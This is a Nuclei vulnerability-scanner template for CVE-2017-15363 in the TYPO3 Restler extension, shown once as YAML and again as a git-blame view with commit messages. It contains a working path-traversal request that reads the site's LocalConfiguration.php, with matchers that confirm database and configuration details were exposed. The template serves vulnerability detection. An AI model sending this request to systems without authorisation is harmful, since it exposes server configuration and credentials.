nuclei-templates/cves/2017/CVE-2017-15363.yaml

id: CVE-2017-15363

info:
  name: TYPO3 Restler - Arbitrary File Retrieval
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in public/examples/resources/getsource.php in Luracast Restler through 3.0.0, as used in the restler extension before 1.7.1 for TYPO3, allows remote attackers to read arbitrary files via the file parameter.
  reference:
    - https://www.exploit-db.com/exploits/42985
    - https://www.cvedetails.com/cve/CVE-2017-15363
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15363
    cwe-id: CWE-98
  tags: cve,cve2017,restler,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "'host'"
          - "'database'"
          - "'extConf'"
          - "'debug'"
        condition: and

      - type: status
        status:
          - 200
Create CVE-2017-15363.yaml 2021-11-08 22:35:51 +00:00			`id: CVE-2017-15363`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Create CVE-2017-15363.yaml 2021-11-08 22:35:51 +00:00			`info:`
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements 2022-05-13 20:26:43 +00:00			`name: TYPO3 Restler - Arbitrary File Retrieval`
Create CVE-2017-15363.yaml 2021-11-08 22:35:51 +00:00			`author: 0x_Akoko`
			`severity: high`
			`description: Directory traversal vulnerability in public/examples/resources/getsource.php in Luracast Restler through 3.0.0, as used in the restler extension before 1.7.1 for TYPO3, allows remote attackers to read arbitrary files via the file parameter.`
			`reference:`
			`- https://www.exploit-db.com/exploits/42985`
			`- https://www.cvedetails.com/cve/CVE-2017-15363`
			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cve-id: CVE-2017-15363`
			`cwe-id: CWE-98`
			`tags: cve,cve2017,restler,lfi`

			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
Update and rename CVE-2017-15363.yaml to cves/2017/CVE-2017-15363.yaml 2021-11-09 16:50:29 +00:00			`words:`
			`- "<?php"`
			`- "'host'"`
			`- "'database'"`
			`- "'extConf'"`
			`- "'debug'"`
Create CVE-2017-15363.yaml 2021-11-08 22:35:51 +00:00			`condition: and`

			`- type: status`
			`status:`
			`- 200`